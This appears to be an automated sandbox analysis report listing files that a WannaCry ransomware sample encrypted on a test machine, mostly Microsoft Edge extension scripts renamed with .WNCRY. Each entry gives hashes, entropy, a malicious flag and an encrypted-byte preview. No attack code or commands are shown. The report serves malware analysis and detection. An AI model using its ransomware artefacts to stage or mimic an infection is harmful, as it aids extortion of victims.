                                                                                                      Preview:WANACRY!......"...6....\...d^.GY..>..3d(.e..&..]..Cq.Q...c(..]gB*.NT.x..I@.1..j._..S.z.../.b.Y(..|.[..^K5..........j5}......:..4{.Y...Nq......@..Hu}.%...'.o..*............(.I.8..A.C.....$.p....1G.)....d.].Q..?....$...P?....v@B$..O..c..#).yA\.X.L...{..+..G._....K.......FU....K..d2.Gs..ZIx.Iw.>P.W..>.......Wc.+...6.8..).B...J..u.....M.J........a..3....+..m...8.....I..+.g....j....wh.N..|.G..k)3..2F.'N..8...Uik.._.....?.0T....d...v*(...q....p..s........o.M....DxC.....N.9x..W..*..).f{MLh&..,d.r....q..j.nr..i.!X.....z(..l..`H]..F.`lj..l*..3.J.....P.6A%..5....KD.0....S..U4P.Vd.-.....*...p$.k.s..].|...f...CbK.>..@.?...^..Q"X....+......*?...jY..o...j...>.Q.Z..).s...VW..*..'.y.B.7...&..8T..K...B3.or..*..{...-n.......N.&a..c.f.w.+.B..G..b.....i.f&..S...I..H......c.A....JCS.sY.06.5..*.Z^.l.N.?x......k..v..`#FcH.[...WQr.2.O.2....2....'.......%..2Ys...W........k.c..8]....L......v.C.w.....m.^.a..N..uJ.*.....K.....Q.....3....%qY3.S%.5j|..jh..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):988600
                                                                                                      Entropy (8bit):7.999816986322525
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:vEBEJoRHFKOPrI2Gp2uBtFF6E/7VtvLrVtEOAC/:IaoRdoLNLtvd+6
                                                                                                      MD5:DF0DAE2035F3B196915986F2A0CFC29A
                                                                                                      SHA1:EF71BE072E881F3462300519D63D01079B03445C
                                                                                                      SHA-256:CD7F0F794B7C5ABADBBE8ACA84782D3927D0E66FD376B82678157447652BDB38
                                                                                                      SHA-512:0E0270F7635F1C73D3FF57DE110E3904B88506810D2C59D9C9F5D7565DA21BBEE604DE4C8D75F507A2D0EC41F58023C6451D1D6E98A58A1CA714D7CCD3D5B587
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......R.:...QN.`/.....3..,@.......c....:d..q.<N.....Ss.!...BX....p.....D.+..B.q.z.0..(.[.G...+7.$.D.y ......@...!.j..&...$.=.C.1.....{.g.Fy..>...5y..E.H$.*.>.?.AinD.......z.\.3..v.......-/.k..@o.....).6..6?.?.`...<..1Uq..$..R.....\.h....([..e...K..|.................?..s.w.I.=l5........d.'....[...\...U..}.....D...."...5...s..~.3...`e.N.D...f*..d..v.Ct...M.,m.k...f.v..p.ME.......B.>.`.k&.|...U..J.8t.=,z.O....f.b.pG.........Q.)b....N....../|....`.....O..n*fK..k..s..#.9..B.u..P..........*..l.......aO.6?K..@.-r....2.`........_=.uP.r....n'...y.O.<jZ......o..S.....z.jW.....s@rg.dK.=.cZ.u..S....a...Yl...x\&*t....i......>..I.P|M...f#......#....M......r<.X..`|.....g.k~.^...VD..xLzC.T.-...."%.L.?K.^............B.THA.yE..R,..i....w.C.u3..Q.+.mdr.9.O.-.........Zi.Y..qI!.\..~..xq{7!.,.@.`..C......W..z....|.%.W..E.C/?z.4?..x....<t.S.3.H..#?....PD....K...5..,...Q.A.\.|1)/7.E&..u...>.....@...V.^...&.ct..Z......,s......?.KZ...z..../V.y8.b..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5653560
                                                                                                      Entropy (8bit):7.9999667099060305
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:98304:kjYEGY30X/EutTtU40XQQ5YZv+2/YGjB+nzCRaif0HY61Bv5JO14WhqFfe1NhxH:kjCZADXQQ5Y5N/YGNQC0ieHBvnO14nVC
                                                                                                      MD5:019A8755B32E286D7E5A0B05D851E463
                                                                                                      SHA1:C1E7F6AC861144129934DFECC681D7F3DD8602E1
                                                                                                      SHA-256:0F2D196854C5331CD16CAD01A0C4D7E916EDE0404784DFA3569454BDD97C0374
                                                                                                      SHA-512:ADB7A49000FB7C444A27D18C3A53C109ABF0866C7AA490FD568534A3B7C3D9D4508AB36CEC8B28FFF039637429BDEDF61E7964B6C8767711C7D496857696F90E
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........M....*#.vf]^g.%a.g+.z.....D9jB..j.6.....M....a..S.I>../.Q|.-.P;. .}....M#..5..L.....Y..gp.mI....:!....m..G5z'.^.$.b...z%........"...{..;.I.>.v.....<p.......n.....j.`.]..K...r..=...rj{.>Ut).A.Z....-h..;o..=...eQ.&...[u...E!.a..............CV.....^. 'bIGB...v...a..{.N.m..~.K.l.%a...4.d....j4.......gd.|...`..M...Y^.~.\.....C........s..n;.K.U~.'...A..%..p.....A._.%*.R1..u.....L..f..B..?9.N.".G.Y.....n?.G.>P:.m.uF..9..Z.k...Hyl..ZC|.Dt..'.K..j>G.a...A.c.r .s._y.#R..Y/.?.P.>.wh\..fsUn(.Jb.{,V.v..s'...J.z.qP..:......~.8.\W...6.A,._.o|.Q.N..M....:.Rq...E&c..W<..j...c..#.4.j.J.%.....w...j..N.+........5X...dw...,.yU..0(.{.l..&..o8..%.......592.%...=`.^H....#~.&.........<.R...'`.9@....MpQ..p..8..-1.m.S.R.....U....h7a._..F..K...0..).;S.$..q..;S......U.U...z..V...9.t...tk....H.....t....<.....r..M.;..}.Ed.'p.<..Vm.F..S... rJ.V..BU...]..\...2......I.........2k....<.Jf'`...o.|.-D...8.H....>QCkD1.."u....Z..W.O.jH....f\Ia.....O=.H./.x..]Vt.y

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):358056
                                                                                                      Entropy (8bit):7.999448430864916
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:L4TnXWxujimmvaFw3izgUJakICPuKlSjKj8inMJI0WSfpjHvVPOaP52/iJqXH9v:LI2/mmQ/fa+Pu7Kj8inc0SfxvJD5CCWF
                                                                                                      MD5:48AE1DFFBAB6318F6C00E2305E92B49A
                                                                                                      SHA1:DA70EBA758CE809151FEB6990DAA6D6D797051F3
                                                                                                      SHA-256:EA69A927C196EE1CB1EA11A163C5F05A0513C9B803A5E0A0704268D7C292171E
                                                                                                      SHA-512:AD60CEF8A3C05FE0CE6F1B6C297F0B434A58A44D0FB322840686E60409019291F57D01581D2362D7F84501EE3811B33B68A825CE2872B37021FC72FF6FAB814A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........^H....OF{.a.....E.8..le\y+X....G}j.....]...^..F.XY,r7.....3.uU^.1...k]........a.kV.d..3.t.\.z.oS...6=.&.......{^....'....%.\~.Q.UR@..,q.r.BBX_.?.*.m...!..k....P.xj.."Wh%..N9u.".7,..,..<.!b....3.c~$..b.....a......k.s...U..)....kp.q.%..{.......u.......B....._."2.N..g...1.X.G...W.b.x....o..&.y2...I.t..g..^.....w.....Rd.7..l.j..~$._.....#..l..)....{........t[..I.....Q.5c..........0.Yg...,..&.-....A..:.uxF2}.,^E.:..Sw)0.....#...dH....m.z..$./.GP.H&M........A.....1W._.j}.J.Z..^y..S..@...Abc.......]x.....%zA...SJEu_.m.;.D.+..?N.L.n.^..k\&-a^..=8.^.@.l.+.U..MX ....p...a.~...s......*.-....C.`U..y..k.V.mh=q..CA...4an.1o.m......Y.$..*.P.NA.a5SU...../...)Jm......`B.1EZlS.........u.z...v#..d.1JE2f1O.\..A\hlW.Ks=.t.wG.#.....S8.>]....o.....<.&cM*.(c..U...$_...t.9..%...p......wr.!..@I1...*.Q1...........i..^........:....GA...U.o.b...:\.*N{k.{..[....0.....D.s....2....x..7.1.....u.U...A...q..^p.j.}...(W<Q.....%..K..%...~[;...$x....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\automation.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4552
                                                                                                      Entropy (8bit):7.95584327560536
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oQBMh4R77FX70fXdeEVwrCZTnEXwhovjjSQfk64HU1Xvor:4h4Jho1Pzn/upk6n/or
                                                                                                      MD5:106FF274284689A7BF25BBBED43B51D6
                                                                                                      SHA1:898BA068CACB3C240977B40931E00E22594F3B7F
                                                                                                      SHA-256:92B164508346D336D27E515EE24DF865C1AFE6CEBF842A8D7D755220FBFD96EF
                                                                                                      SHA-512:4200F43D8B31403520974C07973883C198601B60926C5620946A119237E056719F170A9070AA2679AD367D44FFDB10865A573DF040A20D440526FBA7FB6CB8D5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......6F.$...A7.q.....a..M1L.......E..x...G........-8....!5.N.K..;.>.....^...}=.XJ.Vj..bX..9U.........8........5n.....{7."..0..._(.P....... /.$!.S.I..G.4...||....n'.LTy..}TJfAq...0)H...o.}^.jj'.1...............9.......a6.../.2p....)ZW#.;..U............[.o...O...N.n....a..a*"b.I........L...y.*..w."...>..{....7..!..$..z...g..}.@.h@...~ZI...<Is.X....Y&.;...........V.......Fj.....0ef.....j%.y....C...|Q.......1Q..Y3.......A..:..)r[......;..~.X...G.s...p=.]..d....<9...F.v%Sub....NB5...gc.o..........N.t...t.....1.:..>.SP....9KC...........4..Ej6...............25@..G..........v..Y.L.bH..`r....(...........)..BH...EF@..@ai.&..H5..I..\..w e.!.u.$m.%..b.%....\|.'.." ...Hz.&.=rx.+v.....W-.2.....p;.|Y5id.....O.Kd`-.0..!..il.....)<xm....eje..w>.E.....9R...c.*...W....N.k.;.P.^....:.....!Q}c.%.....[...Ap....V..i...&cp...]M...N.......9#.."E..G..$I...MA..4.nC.@.c.NR0 *.b1-...3.....z';....P.z.........y$;@...{.3..R.*..V:.}.-'d.T.?.W.;.......@.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\extraction.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5608
                                                                                                      Entropy (8bit):7.965228477936132
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:ow5zSuJ5ScUwk26gw52mlomy/qV1qpIytkg/RjzPqdLFoq5xl08OES5eEccOLfg:71Fk2oZlo6+RjzPeaqjnG5Gcsfg
                                                                                                      MD5:3EF8EC4E9904EFBED52A515119550860
                                                                                                      SHA1:06DB9E628741C541A3A1DE05EA97CD7CA9CC82BF
                                                                                                      SHA-256:E81D150E6B0D1A93D73FF1F0E55CB855DCEE29613BD86441AA238CBBB6E59999
                                                                                                      SHA-512:0F33957BE87ADB4DA05885A8BD5552E2A039A031DC3B3974F398A5671983D238E1829C3E3813CF3A3D35CF3B7F4E5728DB6D44B81A38EF06F50724F8CE6E5321
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....A..^....\..y.g|8....^jS..V.:.3.p)..[....&..e.(......V....-<...7i.q...h..Gx..;.n.2SU...$.....`.....IU.8.e........G.e.y.@......:..p&.L,........K......M...i86..W..%.)&.MY......7.=i.:.F.u...m!.n........,}..pf....W0....5$.....E......M)z.. .N...h..Y.d.5H..............9q.\...R...F...X(.vytGQ..|..\.%.#,....1......L$...t...@.QUJ.jD..3..jk....,..<..<T.tys.1.-o.).`y.e..E....Zn...T..[..^...pt....P,..i...?....x...c....$'7QMk..........?...e..0./&..o...........J..n.,...Ai.)....../.6~....17....M....R._.t>J....f,XJ.aw..V^Z.....Q...H..n....Y].....0?xxX0..gu.G....>.Q.D......c.....J..,6..N..r..U9.*....1.D. ...<GJ."...S..)^..p|......A7.b{I[.db.x...C\FN..+..I..7&...*"k.k.Pv..;.4....#.-.U.K......|;.Q.N.....Ism...&'v......I8...QD.m.v9!....9'...sS{.30|.(.%.|-...I..xa..pH..I\.`..3\'&Q*.hk/I...!..E.....@:A^...!,Q.n.h>k.a.......4sob4..ugD.....J...gb.x.sB..d,...=j..... Iv...a.TgB..1.g9.<...."B1NYT.@.......v..cnQ[.6.. ...q.Q.D....W..]0......EZ.*F.o.......

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl_driver.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):11832
                                                                                                      Entropy (8bit):7.9845977405648885
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:UBJdPuaS/wf17DkmeAQNNbcWCM1z5puWd+JfwrslYJQT+PHTlUhne5p+9DP+mQiJ:UBJd4If17AiQTbchM1Np4fDlAxUhne5M
                                                                                                      MD5:3C20C6B10ADC98B59B945A7716C9EA5E
                                                                                                      SHA1:93A6809ACF3F2934E449E8C358C25D54DCF1A158
                                                                                                      SHA-256:305441EFF8B58F13A4BF0E13BEF87BBF94AD5D3448021C60C905AD256C99AD7E
                                                                                                      SHA-512:778FF7BDADCE559A3DA98444224758FDC67390F86A0CD30AC159F151938592C6BA340D47E5B65E213DA0E93678416D6F0723D47F2B6C9EB545EA9EE97ED4BD76
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....l?n.......D..........b.)....S.j...&]......@1<...k4.X..."k.........6.....4RR.....aQ<dW.h.k..o:.w.]J...k*.}....i{...).....-.....^b.....c.4./.a.....o..U4..7.....L.`..~I./..`I... .....K..gf..by6.IO>$U....-..O.p|.".6jj..".........a..O..O_..I.....d".....-........C....<.#...Y..$.L.....".....n.>...\O..^..)-...:M..............s.1.9..j.ea....q..G9.....s.7.........P......u_^..%n.....j:....(MBSG..l.g.0..S..?.H.S(U'...Y......v.yJ...q.>1F:..G.kzG..`......^.[I...4.........)`.ss..A.|..s.....T..|..g...."....fp..N:....#.12 b1.L>.....q.........yY.h."..&................PH..>Zo.g.g/#8'..]....VlCis..a.B.J.D.#[iq.X......&.....d).eq..Nq>.oo (..)K..a..>.\.@..b..a...0..D.4.nDUl..0....V..M.Y.+....5.uB..y.....6.x8.......=.......!..(.5D..M./..?....*%b.![..n...g..]..!3T.R..@A..a....."....+...D.Ma.s.E..\..D..F....g .0.}.W..k.n[QC..r...z....yv.#....oN).......*.E]R..W..@3....L...........%....m.^j[.Y'[ ...A.y.w....*.K.I.....i..~Y...*l..r...0.....c..R....|..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1946312
                                                                                                      Entropy (8bit):7.999904685265974
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:KXZOrgPP1PUxr1VJw7ps0cdnTaCFcaaIBV5O8/6do/Og6vBXcOydJuh/ddzhiFJ/:KpOrFEps2CDl6fgMM9dJuhXYJ/
                                                                                                      MD5:151865C492B3D340EF6EF092052419DA
                                                                                                      SHA1:5B99ABEBDBF5D1E8FD474DFC7454E5E3C4BD5C22
                                                                                                      SHA-256:36E425554AC6DE8EA4DAE59C47EC0E089B82975ED1C01D7E516AAD2FD1560E4A
                                                                                                      SHA-512:828480488EB72135EE2004639B5BFBC076221E2A54CE21F78C8D9995FEB31FC546C2CD7124F66947B70BE69BE49C245A2B22F4CD33280BE30A86F83D9500EAFB
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....U-.\..O#....K;.[..O..9.^[.FPJ...( .wZ-.P=wcf.k...fi=".nC.Omr..)`.EPYJ<..'.j`<.Y8.2.T...n..))..{.S....D..\...4w.+.O%&.~.g.%.6..2.........r..r.Y4u/..........1.z.;.p..L.0.d..."..C.6..u..........@.....O... |.|...K/.aEU.."y6..jh..X..1....1.......Kf.............1fnD... .......5.....WJS..<|... ..j&}.........0....>.8..Q9.r.<.).?..$otX..F.l%.]).P...u.@..z.......G.S.......9..D.6B?U(..M...D...Y.tLp.0..b...L...d..Lj.k.>...iq...[bu.@7'}...3..............^..O....C....._.D....:...`.j.v.U....5.....%.31.Tr.}c..p../4r.H........j._.K..T.^..?=.....?....]-..'...ug.../...8.K......4.k..`|.Il.\9....&...'.}.M..K.}.....;.....[A..3z=Y.....`/.....\.......... \.m....NF..G.....OQ~..W5..:/..(.7L...ZsD.....,V$...@l.0.....d....*..H.)G.D9.....~.,...`M.............ZD(..)M?r...;.-....4..*.f|..y&...9.k..N..}*.L.o(...U\.d...?..]....$...{E.0,.N...YK..c.Ga..]..=.....6..U.q-4..c&_.!x.M......GP.........H..O...:$o3...e.Bss.U..;.R..nm.M.T..K..v....3.\..3{.'..W..)3

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-icon.svg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2008
                                                                                                      Entropy (8bit):7.91506183290147
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bk9MlJtKBEGD6saavwU9fMp/Pup3O0Yz4DBASNv:o9MlJtKOGD6Igop3JrFRv
                                                                                                      MD5:D21F763D6F17D3564BD655E6ECD9B8C3
                                                                                                      SHA1:26B2A84B2EFDCBF1E70776E11544921B2897AEB7
                                                                                                      SHA-256:24D8BE6E483542EC8E767AFD48330CDFBD9DA9730055C186F4A69D357EB2D160
                                                                                                      SHA-512:904B30B4CB4B461014C94B9D202EF16E80FE933F424E1ADE4E6F9FAB61BC201BD43562FD69BE3F01AA5CC74307C499873341FE6441923988AFE81B2C25624A8A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........G.%;,...G..{.FM..|....j`. ...e......%..............11.......Mrd.Q.K.u68:q.......)R.o..oi.......OY..@.W....6.d..e..i..u.v..bc...x.....!.p~H......{...\q7.:...?...G.T..4..........e=w..Z.D.....-..D..#t.4+.8n..d`..vf*.q..Q.e.u..bI....t".r..q.................$K....>..r.Z..Y..`#m.[.L.....v...?k.@.5;....D...O6...!.E.u.....s.c......_.]^.J.3..'s...../...n.:.....y.a.....pnI(..;.....I`9.B.m........h;mT...<yn.k/a...|.s.%$.l.....h#w..i_&..{.'E.d.12.X.K......'.rP.....1..-[....4>U.=.........#...E*...O....lp..Vd.7.*.......pA..N......X%*.m...^9.u.\0<..........f...RrAK.....PO.^N.hoE..B.S......W&;~..,;.!....%..j3........n%...._|bC.aH/}.g.._.."c.._v...b...p.....Mg.)h pt.F......N.;<..T.?H6A./..|...(....Y..b.h....dX-..`.-t.....N..4.d.... ..&y......S.....pu.@(..> .u....G.f..8..Q.h.o.8..rZZ...F%...`Z.;!.#4<o..E.f......+].....e.U..?a...!:./{;.V.4x...G.<8.y..Xc...z..\..5AH6A..p.+....)/\.....K....;XL..rj....v.......5... ...@K...(.h......7#.>[I...|.QT.S......@

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):20760
                                                                                                      Entropy (8bit):7.991991197103612
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:WZbDGx7XVbcKpntBpZV6iN1jFIge7KGuRVDuOjfPGBnCN2rrZKK:WOFhP6AjFeeGiDuODPinCSr
                                                                                                      MD5:C2526BDC3AF0D4800A4B6F46C9B30E6B
                                                                                                      SHA1:845C019957D8BF476F8CB75A9901A649B7882488
                                                                                                      SHA-256:726E7B396B1EB6B22945E108B2412B15178BC817EFACE11A98C57969E7D0FCD2
                                                                                                      SHA-512:6F2A0E5AB9118593FFCF1EAF8689AD9AF70536A300B7511D80BA45802A45AAB9970702F04C03FA3B1C427EAA412831EF760E080640CC240E676EC9C499CCADB3
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....%...I..|J........>....M.......U..(HIj1......Bz..~|...rv._s[*.P.*...s.L.+...S\..I...u.$.r...1yt.J...T.......@..?..2.68..'...%.......T..O...w5.v..Db..T..V..UM..0....+~...w........K...h6..X..O..~../m....i....B........~...b..zT....8...-...gP".aIC^.7.....P...........y.rL.cq.S#1...l...'..ZA..l.M^...D.'...S..t.P. %x0.R.~......V.:.....k.4{4.m....QDHhF.H$j.YY.:e.....8k_Qh,.\#.....j;B..,.4....sE.S..'a.K..o...Ig..%,/...?5...YB..........b.&$...go].b$_.... ...........r.h.@.._...T.y8 '........>|.gi....#%J}.q.T ?..".o.-R..U g.9...a..8...w.....J.r.q.@.u.F...B.dQ.:..ATv.g.e..\t.Z...$....Z..>?..$....(}..#=Q.....'!..6!..y.......pN4,......^..*...#.....................4....[.=_'.........y..DgPq2Z...Q2./..Y........;2..x.f.|jm..E.Jo......O.*...A.4...5N..9.m..x.0.:.r@W.....AM.u.X.L....|.'...`...Z.P-.ym}...n......=..,.. WoV_.k.....t0<28.77....=.C-.8.-...FNF.YV..X../.b.O.k..g...jS...F/....@&J....0..E.q..;......l..c.n.%.'F..~...>6+l#.;...Ma_..$.s..V*..8[

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1179240
                                                                                                      Entropy (8bit):7.999846807356036
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:TcbPkXLoHMgQ0mmn35CiNdJ5FHYX3Uf1bl9SV3+dPcVGdux:Si0Mcr3oA5F4UfO3mhkx
                                                                                                      MD5:71A7B2B7BE4A6E612D0082985815E824
                                                                                                      SHA1:BAF082B56D18411DFCB26F6F33D874AE4AC12B25
                                                                                                      SHA-256:A28C49C642B10B16836098CE459E361337012DF8F8768C640EB2B9485AC3939A
                                                                                                      SHA-512:CDB6470A1B0058426FB68E49438376EB2FDCBD9A6BF353E43796F6B693F195E5CDD1071B2EF629DDB17CB865F4472539CFCD6BA41D00E2AEC64705B591AB4EA6
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Lk:-.s.~Hs.tn.W....Z...V.Z.1_......%.}.N.7p.Y...v..Y.(.k.?^...x.....I.K...+]....Wuq.%s.\.D-......I5..cS.1.p5l._....c$..w..1....p.P].+.4..!..Pf....^.Q%....c...@.d....FC..p..IE......7r7c_....w1.r.....&.(-_d*.f4..... .rc...S...]M....c.yq2.v=.~......D.........`(..T......q\&...QQ.G........P|.a!3.......Q.F...y.s..r.|.K.zx.Ta[...IHEs...ESJ..F.?.]_P.I....(......B.....?.u.[...r.,.....-..>n.....B7Z.I...1...;'.[S?.F.W00:&f...h..o.....B...3O...YQ.dS3d..|>..v.Ge.....c.i)Ja..B.g.$..0 bN..>.";-.j.....H.....w.PY...q..s....VKj1Z..9r....1i~*.y..j.......M..K?. .=*..s.9*.]....n.....:.x..F....7~..mN.SO3.g.NL..^L.o.p.\X..1.r.'._.q{.w...] M../2i.'.LX.....5.:BR?.J.6.N2t.;......0A.X.l.}....).........8.>.......... .*7..F:.R@<..#......m.B.x....a.!F.Jy1..~"m)..r..W..&.K..j.....b..g.)!.....$..|V..j.......TJe..p.d...]V.'....I..J>.Q.....bEC..U..%...QJ@d.Y....m.1.'_...S.<....V...(0....!.2...Lr9.;.=..N/..^.Hv.@/...<_..'.'..`..D].....,..6..Mt..,M7..@Fg....i.+s.u

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1010680
                                                                                                      Entropy (8bit):7.999809458309973
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:9bmB5sme5wgkEh9J7SzQb92rOvG925Brg6ehdOu/Zy:G5QfkELFSg92KOYDS4
                                                                                                      MD5:3D4A31DC79ECF96B6824E031296A3C86
                                                                                                      SHA1:460B585E11F2D56B102EEC80E084305BD962AA16
                                                                                                      SHA-256:3B9327498C6E6F512D731A9A22E53D9BB326688A0EEAD8C6BE9717AEBD5333F9
                                                                                                      SHA-512:2A8C965FFDC1FA7D43A2261B39500EC50A19CE1F9C12386FE5E62ABF6E9A99FE8A117776B5B5FFBBABF587C81223FD2BB0B6FC268726352A1D7E34CB91DCA16F
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......q......W....&.R.e. .K....{Sb.....`...+.............b....wr.p...+.....6.......G_...n.^G.mx...R..........O.N...l....3v%.R.#.'.Y.i.2L._.Rt,L.........R.d$g.mh=...Z.X..D....../..2Jj..u.=g.-......A...iG...}^(....,M&..."..2K0...^.JA...m..Bf.I.....j.......`c.E.W.x..p..U.....s=D...@....2#..U...1D`..lk." .S.,|+......7U$...\.U..7.h.4T..O_q...o...8R...e..W.}...Q......s.....q..,.......Y..].....gK`..(...5..s..v..'9...0...Ae..........b...'.(.n.....4.u.!...^^...z.d.!.....*.1...".. Go..p.r...f.Lz.P*.7...`.4B.oY..p........Z'W..F[......acA.S...hJ....\f.\B..[.Mz..q.x)....5~.@'.....3..}.pCH..kf."....(T./.:.x...v:f.{...*q.....s..%.....[..89.J&diD..^*.....(..Y....s4...V?%m...IWU..^.....@}...#..4.v.}....K.....Z.AR.]..C...B.nu.7_.[...,..R.../..%.......c.2+"..*C'.!3....c....jUG.T[...&...$t$..N.+.:..k..[Om.F...Q|T..`......_...!L.\..#[)... ..l....-.IVBw!+....|M....iP..t.Vh....O..$..Uy.5..W..x...D'...|J4m.`@..#.....~Da.D7-.-.b.......T}k.wA...$j....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1042184
                                                                                                      Entropy (8bit):7.999804339314018
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:MfMBVmrVHzBBQqh3Jpvxf6lPDSFSAKPKtSN9751Wpr/tKP8:kJ4qh3JfELxuSX1Ar/ty8
                                                                                                      MD5:68A42B6E3E2BF30E950AE75A6BAEEF85
                                                                                                      SHA1:9950704CE33B27EED64E4F27622224F674253367
                                                                                                      SHA-256:40F1BA097FEFC575D155B57515D89BC139FFA7377ED828F664117E75915B0E5C
                                                                                                      SHA-512:DB5A997D0E7C973BEB4C2C63507568D3FE6C0699EF353AA77B3A87EA9EE00B7A1F4B895C417C9954547C5EDA5E482700A568E3EF9029C3220D78FEC7925551AC
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
